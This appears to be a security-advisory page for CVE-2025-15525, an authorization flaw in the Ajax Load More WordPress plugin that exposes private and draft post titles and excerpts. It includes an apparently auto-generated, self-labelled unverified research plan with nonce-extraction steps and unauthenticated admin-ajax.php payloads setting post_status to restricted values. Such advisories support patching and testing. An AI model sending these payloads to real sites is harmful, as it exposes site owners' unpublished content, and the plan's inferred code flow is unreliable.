CVE-2025-15525

Ajax Load More – Infinite Scroll, Lazy Load & Load More <= 7.8.1 - Incorrect Authorization to Unauthenticated Private/Draft Post Title and Excerpt Exposure

mediumIncorrect Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
7.8.2
Patched in
1d
Time to patch

Description

The Ajax Load More – Infinite Scroll, Load More, & Lazy Load plugin for WordPress is vulnerable to unauthorized access of data due to incorrect authorization on the parse_custom_args() function in all versions up to, and including, 7.8.1. This makes it possible for unauthenticated attackers to expose the titles and excerpts of private, draft, pending, scheduled, and trashed posts.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=7.8.1
PublishedJanuary 30, 2026
Last updatedJanuary 31, 2026
Affected pluginajax-load-more

Source Code

WordPress.org SVN
Research Plan
Unverified

Based on the vulnerability description for **CVE-2025-15525**, this is an unauthenticated information disclosure vulnerability in the **Ajax Load More** plugin. The flaw lies in the `parse_custom_args()` function, which fails to validate if the requester has permission to view posts with restricted …

Show full research plan

Based on the vulnerability description for CVE-2025-15525, this is an unauthenticated information disclosure vulnerability in the Ajax Load More plugin. The flaw lies in the parse_custom_args() function, which fails to validate if the requester has permission to view posts with restricted statuses (like private, draft, pending, etc.) before including them in a WP_Query.


1. Vulnerability Summary

  • Vulnerability: Incorrect Authorization to Private/Draft Post Data.
  • Affected Function: parse_custom_args() (inferred to be located in the core AJAX processing logic).
  • Constraint: The plugin allows users to pass custom query arguments to the AJAX endpoint. If an attacker provides restricted post_status values, the plugin includes them in the query results, returning titles and excerpts that should be hidden from unauthenticated users.
  • Impact: Disclosure of sensitive titles and excerpts of posts in private, draft, pending, future, and trash states.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: alm_get_posts (Standard action for this plugin).
  • Vulnerable Parameter: post_status or custom arguments string parsed by parse_custom_args().
  • Authentication: None required (exploitable via wp_ajax_nopriv_alm_get_posts).
  • Preconditions: A valid AJAX nonce is required.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php?action=alm_get_posts.
  2. Nonce Check: The plugin calls check_ajax_referer() using a nonce (usually localized as alm_nonce).
  3. Argument Parsing: The plugin retrieves parameters from $_GET or $_POST. It calls parse_custom_args() to process parameters like post_status, post_type, and others.
  4. The Flaw: parse_custom_args() accepts the post_status parameter directly from the user input and fails to verify if the user is logged in or has the read_private_posts capability.
  5. Query Execution: These arguments are passed into a new WP_Query($args).
  6. Information Leak: The query returns restricted posts. The plugin iterates through the results and returns the HTML/JSON containing the titles and excerpts.

4. Nonce Acquisition Strategy

The plugin localizes its settings and nonces into a global JavaScript object.

  1. Identify Shortcode: The plugin's main shortcode is [ajax_load_more].
  2. Create Trigger Page: Create a public page containing this shortcode to ensure the scripts and nonces are enqueued.
    wp post create --post_type=page --post_title="ALM-Test" --post_status=publish --post_content='[ajax_load_more post_type="post"]'
    
  3. Navigate and Extract: Use the browser to access the page and extract the nonce from the alm_localize object.
    • JS Variable: window.alm_localize
    • Nonce Key: alm_nonce (or nonce in some versions).
    • Tool Command: browser_eval("window.alm_localize?.alm_nonce")

5. Test Data Setup

To verify the leak, we must create content that should be invisible to the public.

  1. Private Post:
    wp post create --post_type=post --post_title="SECRET_PRIVATE_TITLE" --post_excerpt="This is a secret private excerpt." --post_status=private
    
  2. Draft Post:
    wp post create --post_type=post --post_title="SECRET_DRAFT_TITLE" --post_excerpt="This is a secret draft excerpt." --post_status=draft
    
  3. Pending Post:
    wp post create --post_type=post --post_title="SECRET_PENDING_TITLE" --post_excerpt="This is a secret pending excerpt." --post_status=pending
    

6. Exploitation Strategy

Perform an unauthenticated AJAX request to fetch the restricted posts.

  • HTTP Tool: http_request
  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=alm_get_posts&nonce=[EXTRACTED_NONCE]&post_status=private,draft,pending,trash,future&posts_per_page=10
    
  • Expected Response: A successful response (HTTP 200) containing the strings SECRET_PRIVATE_TITLE, SECRET_DRAFT_TITLE, or their respective excerpts in the response body.

7. Expected Results

  • Vulnerable Version (<= 7.8.1): The response body contains the HTML or JSON representation of the private and draft posts created in step 5.
  • Patched Version (7.8.2): The plugin should either ignore the post_status parameter for unauthenticated users (defaulting to publish) or return an error, resulting in the secret titles NOT appearing in the response.

8. Verification Steps

After the http_request, verify the exposure:

  1. Search the response body for the specific "SECRET" strings.
  2. Confirm via wp post list --post_status=private,draft that these posts still exist and are correctly assigned those statuses.
  3. If the strings are found in the http_request output, the information disclosure is confirmed.

9. Alternative Approaches

If post_status is not accepted as a top-level parameter, it might be nested within a custom_args or query_args parameter:

  • Alternative Payload 1: action=alm_get_posts&nonce=[NONCE]&custom_args=post_status:private;draft
  • Alternative Payload 2: action=alm_get_posts&nonce=[NONCE]&query_args[post_status]=private

The research should prioritize checking how parse_custom_args processes the input (string vs array). Typically, ALM uses a format like key:value;key2:value2 for custom arguments.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.